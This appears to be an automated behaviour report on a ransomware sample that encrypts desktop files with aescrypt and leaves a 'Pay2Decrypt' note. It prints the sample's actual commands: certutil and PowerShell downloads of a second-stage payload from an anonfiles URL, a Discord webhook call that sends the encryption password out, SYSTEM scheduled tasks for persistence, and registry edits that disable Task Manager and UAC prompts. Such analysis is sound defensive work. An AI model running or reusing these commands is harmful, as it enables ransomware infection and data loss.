Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.exe
- <SYSTEM32>\tasks\updatewuauclt
- <SYSTEM32>\tasks\updatewuauclthelper
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im opera.exe
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
- '<SYSTEM32>\taskkill.exe' /f /im firefox.exe
- '<SYSTEM32>\taskkill.exe' /f /im iexplore.exe
Downloads files.
Downloads
- https://cdn-115.anonfiles.com/9821w1g5p3/542b7e19-1612884386/gameover.exe as %temp%\final.exe
Terminates or attempts to terminate
the following user processes:
- firefox.exe
- iexplore.exe
Modifies file system
Creates the following files
- %TEMP%\38db.tmp\38fb.tmp\extd.exe
- %HOMEPATH%\desktop\dotnetfx45_full_setup.exe.lck
- %HOMEPATH%\desktop\weeklysheet1215.doc.lck
- %HOMEPATH%\desktop\calc.exe.lck
- %HOMEPATH%\desktop\applicantform_en.doc.lck
- %HOMEPATH%\desktop\default.bmp.lck
- %HOMEPATH%\desktop\dial.bmp.lck
- %HOMEPATH%\desktop\dashborder_192.bmp.lck
- %HOMEPATH%\desktop\icq.lnk.lck
- %HOMEPATH%\desktop\iisstart.htm.lck
- %HOMEPATH%\desktop\telegram.lnk.lck
- %HOMEPATH%\desktop\sdksampleunprivdeveloper.cer.lck
- %HOMEPATH%\desktop\contoso.cer.lck
- %HOMEPATH%\desktop\contosoroot_1.cer.lck
- %HOMEPATH%\desktop\pmd.cer.lck
- %HOMEPATH%\desktop\desktop.ini.lck
- %HOMEPATH%\desktop\garden.htm.lck
- %TEMP%\38db.tmp\38fb.tmp\38fd.tmp
- %TEMP%\final.exe
- %WINDIR%\temp\tar2b16.tmp
- %WINDIR%\temp\cab2b15.tmp
- %TEMP%\kill.bat
- nul
- %TEMP%\38db.tmp\discordsendwebhook.exe
- %TEMP%\38db.tmp\aescrypt.exe
- %TEMP%\38db.tmp\38fb.tmp\38fc.bat
- %HOMEPATH%\desktop\skypesetup.exe.lck
- %HOMEPATH%\desktop\wrar520.exe.lck
Sets the 'hidden' attribute to the following files
- <Full path to file>
- %TEMP%\38db.tmp\aescrypt.exe
- %TEMP%\38db.tmp\discordsendwebhook.exe
Deletes the following files
- %WINDIR%\temp\cab2b15.tmp
- %WINDIR%\temp\tar2b16.tmp
- %TEMP%\38db.tmp\38fb.tmp\38fd.tmp
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'di##ord.com':443
- 'cd#####.anonfiles.com':443
- 'microsoft.com':80
TCP
- 'di##ord.com':443
- 'cd#####.anonfiles.com':443
- 'an###iles.com':443
UDP
- DNS ASK di##ord.com
- DNS ASK cd#####.anonfiles.com
- DNS ASK microsoft.com
- DNS ASK an###iles.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "Mail.Ru.lck" "Mail.Ru"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "ICQ.lnk.lck" "ICQ.lnk"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "uep_form_786_bulletin_1726i602.doc.lck" "uep_form_786_bulletin_1726i602.doc"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "dotnetfx45_full_setup.exe.lck" "dotnetfx45_full_setup.exe"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "ovp25012015.doc.lck" "ovp25012015.doc"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "glidescope_review_rev_010.docx.lck" "glidescope_review_rev_010.docx"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "join.avi.lck" "join.avi"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "weeklysheet1215.doc.lck" "weeklysheet1215.doc"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "calc.exe.lck" "calc.exe"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "applicantform_en.doc.lck" "applicantform_en.doc"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "default.bmp.lck" "default.bmp"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "dial.bmp.lck" "dial.bmp"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "dashBorder_192.bmp.lck" "dashBorder_192.bmp"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "fi51.doc.lck" "fi51.doc"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "skypesetup.exe.lck" "skypesetup.exe"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "Telegram.lnk.lck" "Telegram.lnk"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "SDKSampleUnprivDeveloper.cer.lck" "SDKSampleUnprivDeveloper.cer"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "Total.lck" "Total"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "contoso.cer.lck" "contoso.cer"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "contosoroot_1.cer.lck" "contosoroot_1.cer"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "pmd.cer.lck" "pmd.cer"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "desktop.ini.lck" "desktop.ini"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "Garden.htm.lck" "Garden.htm"
- '%TEMP%\38db.tmp\discordsendwebhook.exe' -m ":satellite: New Crypt from user, Password: lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP, FakeAccount: LTXjh6pyPscSEJOQDm1QsKg8ucy, PersonalKey:||TUgy6nqEWf56TjCReHuaeFF6JeWKL67S2SYC||" -w https://disco...
- '%TEMP%\38db.tmp\38fb.tmp\extd.exe' "/download" "https://cdn-115.anonfiles.com/9821W1G5p3/542b7e19-1612884386/gameover.exe" "%TEMP%\final.exe" "" "" "" "" "" ""
- '%TEMP%\38db.tmp\discordsendwebhook.exe' -m ":writing_hand: Currently encrypting files... Please wait until the password and fake btc acc are sended" -w https://discord.com/api/webhooks/807704589436452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9Cy...
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "iisstart.htm.lck" "iisstart.htm"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "wrar520.exe.lck" "wrar520.exe"
- '%TEMP%\38db.tmp\aescrypt.exe' -e -p lX9R8btvw9QwgbgjL3DUwiG3j9lVZDzP -o "QIP.lck" "QIP"
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\38DB.tmp\38FB.tmp\38FC.bat <Full path to file>"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /k call %TEMP%\p2d.bat' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\38DB.tmp\38FB.tmp\38FC.bat <Full path to file>"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' start-process -FilePath "<SYSTEM32>\cmd.exe" -ArgumentList "/k","call","%TEMP%\p2d.bat" -WorkingDirectory "%HOMEPATH%\Desktop" -WindowStyle hidden
- '<SYSTEM32>\certutil.exe' -urlcache -split -f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c Invoke-WebRequest -Uri -OutFile
- '<SYSTEM32>\cmd.exe' /c dir * /aD /b /oS
- '<SYSTEM32>\cmd.exe' /c dir * /a-D /b /oS
- '<SYSTEM32>\attrib.exe' +r +a +s +h +i %LOCALAPPDATA%\Temp /s /D
- '<SYSTEM32>\schtasks.exe' /create /sc DAILY /tn UpdateWuaucltHelper /rl highest /tr "%TEMP%\final.exe" /RU "SYSTEM" /MO 5
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://cdn-115.anonfiles.com/9821W1G5p3/542b7e19-1612884386/gameover.exe %TEMP%\final.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c Invoke-WebRequest -Uri https://cdn-115.anonfiles.com/9821W1G5p3/542b7e19-1612884386/gameover.exe -OutFile %TEMP%\final.exe
- '<SYSTEM32>\cmd.exe' /k call %TEMP%\p2d.bat
- '<SYSTEM32>\schtasks.exe' /create /sc onlogon /tn UpdateWuauclt /rl highest /tr "<Full path to file>" /RU "SYSTEM" /f
- '<SYSTEM32>\attrib.exe' +r +a +s +h +i "%TEMP%\38DB.tmp\DiscordSendWebhook.exe"
- '<SYSTEM32>\attrib.exe' +r +a +s +h +i "%TEMP%\38DB.tmp\aescrypt.exe"
- '<SYSTEM32>\attrib.exe' +r +s +h +a +i <Full path to file>
- '<SYSTEM32>\reg.exe' ADD "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d "1" /f
- '<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f00000001000...
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' start -verb runas cmd.exe /ArgumentList "/c kill.bat" /filepath "%LOCALAPPDATA%\Temp" /WindowStyle hidden
- '<SYSTEM32>\notepad.exe' %HOMEPATH%\Desktop\Pay2Decrypt1.txt